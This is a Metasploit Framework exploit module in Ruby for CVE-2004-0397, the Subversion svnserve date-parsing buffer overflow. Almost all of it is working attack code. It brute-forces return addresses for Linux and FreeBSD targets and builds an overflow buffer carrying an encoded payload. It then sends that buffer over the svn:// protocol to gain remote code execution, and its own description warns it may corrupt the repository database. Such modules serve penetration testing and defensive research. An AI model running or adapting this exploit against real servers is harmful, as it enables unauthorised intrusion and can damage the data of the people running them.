Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Brute

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Subversion Date Svnserve',

                        'Description'    => %q{

                                        This is an exploit for the Subversion date parsing overflow.  This

                                exploit is for the svnserve daemon (svn:// protocol) and will not work

                                for Subversion over webdav (http[s]://).  This exploit should never

                                crash the daemon, and should be safe to do multi-hits.

                                **WARNING** This exploit seems to (not very often, I've only seen

                                it during testing) corrupt the subversion database, so be careful!

                        },

                        'Author'         => 'spoonm',

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        ['CVE', '2004-0397'],

                                        ['OSVDB', '6301'],

                                        ['BID',        '10386'],

                                        ['URL',   'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],

                                        ['MIL',   '68'],

                                ],

                        'Payload'        =>

                                {

                                        'Space'    => 500,

                                        'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",

                                        'MinNops'  => 16,

                                },

                        'SaveRegisters'  => [ 'esp' ],

                        'Arch'           => 'x86',

                        'Platform'       => [ 'linux', 'bsd' ],

                        'Targets'        =>

                                [

                                        [

                                                'Linux Bruteforce',

                                                {

                                                        'Platform'   => 'linux',

                                                        'Bruteforce' =>

                                                                {

                                                                        'Start' => { 'Ret' => 0xbffffe13 },

                                                                        'Stop'  => { 'Ret' => 0xbfff0000 },

                                                                        'Step'  => 0

                                                                }

                                                },

                                        ],

                                        [

                                                'FreeBSD Bruteforce',

                                                {

                                                        'Platform'   => 'bsd',

                                                        'Bruteforce' =>

                                                                {

                                                                        'Start' => { 'Ret' => 0xbfbffe13 },

                                                                        'Stop'  => { 'Ret' => 0xbfbf0000 },

                                                                        'Step'  => 0

                                                                }

                                                },

                                        ],

                                ],

                        'DisclosureDate' => 'May 19 2004'))

                register_options(

                        [

                                Opt::RPORT(3690),

                                OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])

                        ], self.class)

                register_advanced_options(

                        [

                                # 62 on spoonm's, 88 on HD's

                                OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),

                                OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])

                        ], self.class)

        end

        def check

        end

        def brute_exploit(addresses)

                connect

                print_status("Trying #{"%.8x" % addresses['Ret']}...")

                buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded

                [

                        "( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",

                        "( ANONYMOUS ( 0; ) )",

                        "( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "

                ].each_with_index { |buf, index|

                        trash = sock.get_once

                        print_line("Received: #{trash}") if debugging?

                        if (sock.put(buf) || 0) == 0 and index < 3

                                print_error("Error transmitting buffer.")

                                raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']

                        end

                        if index == 3 and trash.length > 0

                                print_error("Received data when we shouldn't have")

                                raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']

                        end

                }

                handler

                disconnect

        end

        def lengther(buf)

                "#{buf.length}:" + buf

        end

end